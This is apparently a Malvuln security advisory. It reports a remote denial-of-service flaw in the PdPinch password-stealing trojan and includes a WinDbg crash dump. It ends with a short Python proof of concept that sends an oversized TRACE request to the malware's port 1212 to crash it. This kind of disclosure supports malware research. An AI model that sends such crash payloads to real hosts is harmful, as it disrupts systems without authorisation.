Trojan-PSW.Win32.PdPinch.gen Denial Of Service

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/0e4fbfeb6f7a98e437a497013b285ffc.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Trojan-PSW.Win32.PdPinch.gen  
Vulnerability: Remote Denial of Service  
Description: The malware listens on TCP port 1212. Third-party attackers who can reach infected systems can send a specially crafted junk HTTP request to trigger an access violation and crash.  
Type: PE32  
MD5: 0e4fbfeb6f7a98e437a497013b285ffc  
Vuln ID: MVID-2021-0358  
Disclosure: 10/04/2021  
  
Memory Dump:  
(dc4c.da68): Access violation - code c0000005 (first/second chance not available)  
eax=04ad131c ebx=746d5600 ecx=02620d08 edx=746ed51c esi=00000004 edi=74749290  
eip=74744637 esp=04ad0f00 ebp=04ad1304 iopl=0 nv up ei pl nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206  
  
  
0:007> .ecxr  
eax=04ad131c ebx=746d5600 ecx=02620d08 edx=746ed51c esi=00000004 edi=74749290  
eip=74744637 esp=04ad0f00 ebp=04ad1304 iopl=0 nv up ei pl nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206  
apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+0xd2a7:  
74744637 56 push esi  
  
0:007> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
FAULTING_IP:   
apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+d2a7  
74744637 56 push esi  
  
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)  
ExceptionAddress: 74744637 (apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+0x0000d2a7)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000001  
Parameter[1]: 04ad0efc  
Attempt to write to address 04ad0efc  
  
PROCESS_NAME: Trojan-PSW.Win32.PdPinch.gen.0e4fbfeb6f7a98e437a497013b285ffc.exe  
  
ADDITIONAL_DEBUG_TEXT:   
Use '!findthebuild' command to search for the target build information.  
If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols.  
  
MODULE_NAME: apphelp  
  
FAULTING_MODULE: 77d70000 ntdll  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 5066dc78  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000001  
  
EXCEPTION_PARAMETER2: 04ad0efc  
  
WRITE_ADDRESS: 04ad0efc   
  
FOLLOWUP_IP:   
apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+d2a7  
74744637 56 push esi  
  
MOD_LIST: <ANALYSIS/>  
  
CONTEXT: 00010008 -- (.cxr 0x10008)  
Unable to read context, HRESULT 0x80004002  
  
FAULTING_THREAD: 0000da68  
  
BUGCHECK_STR: APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE_EXH  
  
PRIMARY_PROBLEM_CLASS: INVALID_STACK_ACCESS_EXPLOITABLE_EXH  
  
DEFAULT_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_EXH  
  
LAST_CONTROL_TRANSFER: from 00000000 to 74744637  
  
STACK_TEXT:   
04ad1304 00000000 04ad131c 04ad136c 747414b5 apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+0xd2a7  
  
  
SYMBOL_STACK_INDEX: 0  
  
SYMBOL_NAME: apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+d2a7  
  
FOLLOWUP_NAME: MachineOwner  
  
IMAGE_NAME: apphelp.dll  
  
STACK_COMMAND: .cxr 0x10008 ; kb  
  
BUCKET_ID: WRONG_SYMBOLS  
  
FAILURE_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_EXH_c0000005_apphelp.dll!DWM8And16Bit_RestoreDisplayMode_CallOut  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=1212  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
PAYLOAD=TRACE / "A"*3073 HTTP/1.1 Host: 0ZYST;onoGij=F9rX2\r\nContent-MD5: "A"*3073\r\n\r\n  
s.send(PAYLOAD)  
s.close()  
  
  
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`